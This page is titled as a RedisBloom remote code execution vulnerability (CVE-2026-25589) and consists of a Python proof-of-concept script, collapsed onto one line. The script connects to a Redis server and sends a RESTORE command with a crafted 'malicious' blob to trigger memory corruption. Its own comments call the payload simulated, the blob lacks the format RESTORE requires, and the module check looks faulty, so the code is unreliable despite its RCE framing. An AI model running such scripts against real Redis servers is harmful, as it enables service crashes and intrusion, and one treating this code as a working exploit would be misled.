CVE-2026-25589 RedisBloom远程代码执行漏洞

import redis import struct # Target configuration TARGET_HOST = '127.0.0.1' TARGET_PORT = 6379 PASSWORD = 'your_redis_password' # If auth is required # Connect to Redis r = redis.Redis(host=TARGET_HOST, port=TARGET_PORT, password=PASSWORD, decode_responses=False) try: if PASSWORD: r.auth(PASSWORD) print("[+] Connected to Redis") # Check if RedisBloom is loaded module_list = r.execute_command('MODULE', 'LIST') if not any(b'RedisBloom' in m for m in module_list): print("[-] RedisBloom module not loaded") exit(1) print("[+] RedisBloom module detected") # CVE-2026-25589 PoC Logic # The vulnerability is triggered via the RESTORE command with a crafted payload. # This payload is designed to trigger invalid memory access in the RedisBloom module. # Note: Actual exploit payload requires specific memory layout knowledge (ROP chains, etc.). # Below is a template demonstrating the trigger mechanism. key_name = "poc_cve_2026_25589" # A malicious serialized blob (simulated) # In a real exploit, this blob would contain crafted data to corrupt the heap. # Example header for a Redis object (type String, encoding raw) malicious_payload = b"\x0e" # Type String malicious_payload += b"\x00\x00\x00\x00" # Encoding (Raw) malicious_payload += b"\x00\x00\x00\x00" # LRU clock malicious_payload += struct.pack('<I', 1337) # Length of the string (arbitrary) malicious_payload += b"A" * 1337 # Padding/Trigger data # Attempt to restore the malicious payload # REPLACE flag is used to overwrite existing keys if necessary print("[*] Sending malicious RESTORE command...") try: r.execute_command('RESTORE', key_name, 0, malicious_payload, 'REPLACE') print("[+] Command sent, check server status for crash or code execution.") except redis.exceptions.ResponseError as e: print(f"[!] Server responded with error: {e}") # An error here might indicate the payload was rejected or triggered the bug # depending on the nature of the corruption (crash vs exception). except Exception as e: print(f"[-] Error: {e}")